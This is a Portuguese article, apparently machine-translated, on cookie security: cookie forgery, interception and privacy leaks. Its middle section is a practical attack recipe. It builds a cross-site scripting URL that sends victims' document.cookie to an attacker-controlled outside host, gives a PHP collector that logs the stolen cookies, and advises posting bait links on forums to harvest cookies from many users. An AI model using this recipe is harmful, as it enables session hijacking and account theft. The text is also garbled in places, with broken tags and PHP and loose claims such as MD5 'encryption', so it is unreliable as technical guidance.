O objetivo dos cookies é trazer conveniência aos usuários e agregar valor ao site e geralmente não representa uma ameaça séria à segurança. Um arquivo de cookie não pode ser executado como código, nem transmite vírus, é proprietário para o usuário e só pode ser lido pelo servidor que o criou. Além disso, os navegadores geralmente permitem apenas 300 cookies armazenados, cada local armazena até 20 cookies e o tamanho de cada cookie é limitado a 4KB. Portanto, os cookies não preencherão o disco rígido e não serão usados como um método de ataque de "negação de serviço".
No entanto, como substituto da identidade do usuário, sua segurança às vezes determina a segurança de todo o sistema, e a segurança dos cookies não pode ser ignorada.
(1) Cookies Fitofixos registram informações como ID da conta do usuário, senha, etc., e geralmente são criptografadas usando o método MD5 e passadas na Internet. As informações criptografadas não podem ser entendidas, mesmo que sejam interceptadas por algumas pessoas com motivos ocultos na Internet. No entanto, o problema agora é que as pessoas que interceptam cookies não precisam conhecer o significado dessas cordas. Desde que alguém envie os cookies de outras pessoas ao servidor e possa passar na verificação, ele poderá fazer login no site como vítima. Esse comportamento é chamado de falsificação de biscoitos.
Os usuários ilegais obtêm chaves de criptografia correspondentes através de cookies, acessando assim todas as informações personalizadas de usuários legítimos, incluindo o e-mail do usuário e até as informações da conta, causando danos graves a informações pessoais.
(2) Intercepção de biscoitos
Os cookies são transmitidos entre o navegador e o servidor em texto simples e são facilmente interceptados e explorados por outros. Os cookies podem ser lidos por qualquer pessoa que possa interceptar as comunicações da Web.
Depois que um cookie é interceptado por um usuário ilegal e depois reproduzido em seu período válido, o usuário ilegal desfrutará dos direitos e interesses do usuário jurídico. Por exemplo, para leitura on -line, os usuários ilegais podem desfrutar de leitura on -line de revistas eletrônicas sem pagar uma taxa.
Existem alguns métodos para interceptar cookies :
(1) Use os métodos de programação para interceptar cookies. A seguir, está analisando seu método, que é concluído em duas etapas.
Etapa 1: Posicione o site que precisa coletar cookies, analisá -los e construir URLs. Primeiro, abra o site para coletar cookies. Aqui, suponha que seja http://www.xxx.net, faça login no site e insira o nome do usuário "<l>" (excluindo aspas), analise os dados e pegue o pacote e obtenha o seguinte código:
http://www.xxx.net/txl/login/login.pl? nome de usuário = <L> & passwd = & ok.x = 28 & ok.y = 6;
Substitua "<L>" por:
"<cript> alert (document.cookie) </cript>" tente novamente e, se a execução for bem -sucedida, comece a construir o URL:
http://www.xxx.net/txl/login/login.pl? nome de usuário = <cript> window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6.
Entre eles, http://www.cbifamily.org/cbi.php é um script em um host que o usuário pode controlar. Deve -se notar que "%2b" é a codificação de URL do símbolo "+", porque "+" será processado como um espaço. Este URL pode ser publicado no fórum para induzir outras pessoas a clicar.
Etapa 2: Prepare um script PHP para coletar cookies e coloque -o em um site que o usuário possa controlar. Quando a pessoa desconhecida clica no URL construído, o código PHP pode ser executado. O conteúdo específico deste script é o seguinte:
A cópia do código é a seguinte:
<? php
$ info = getenv ("Ouery_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp ,! info. "/n");
fclose ($ fp);
｝
Cabeçalho ("Localização: http: //www.xxx.net");
?>
Colocar esse código na rede pode coletar cookies de todos. Se um fórum permitir o código HTML ou tags flash, você poderá usar essas tecnologias para coletar cookies e colocá -los no fórum, depois dar à postagem um tópico atraente e escrever conteúdo interessante e coletar rapidamente um grande número de cookies. No fórum, as senhas de muitas pessoas foram roubadas por esse método.
(2) Use o código oculto do código do Flash para interceptar cookies. Há uma função geturl () no flash. O Flash pode usar essa função para abrir automaticamente uma página da Web especificada, que pode levar o usuário a um site contendo código malicioso. Por exemplo, quando um usuário gosta de animação flash em um computador, o código no quadro de animação pode ter sido silenciosamente conectado à Internet e abrir uma página muito pequena, contendo código especial que pode coletar cookies e fazer outras coisas prejudiciais. O site não pode proibir essa ação do Flash porque é uma função interna do arquivo flash.
(3) Cookies Leak Network Privacy
A principal razão pela qual os cookies levam a vazamentos de privacidade on -line é :! Impulsionada por interesses comerciais. Com o surgimento do comércio eletrônico e o surgimento de enormes oportunidades de negócios na Internet, alguns sites e instituições abusam de cookies e usam a tecnologia de mecanismos de pesquisa, a tecnologia de mineração de dados e até a tecnologia de decepção on-line para coletar informações pessoais de outras pessoas sem a permissão dos visitantes, de acordo com os fins de fins de fins de lucro, como construir dados de dados do usuário e enviar anúncios, causando vazamentos dos usuários. "A abertura da transmissão de informações de cookies. Os arquivos de cookie têm processos de entrega especiais e características de texto. Os arquivos de cookie que não são criptografados com segurança são transmitidos entre o servidor e o cliente, o que pode levar facilmente ao vazamento de informações pessoais.
O exposto acima é um entendimento pessoal da segurança dos cookies. Se houver omissões, corrija -as.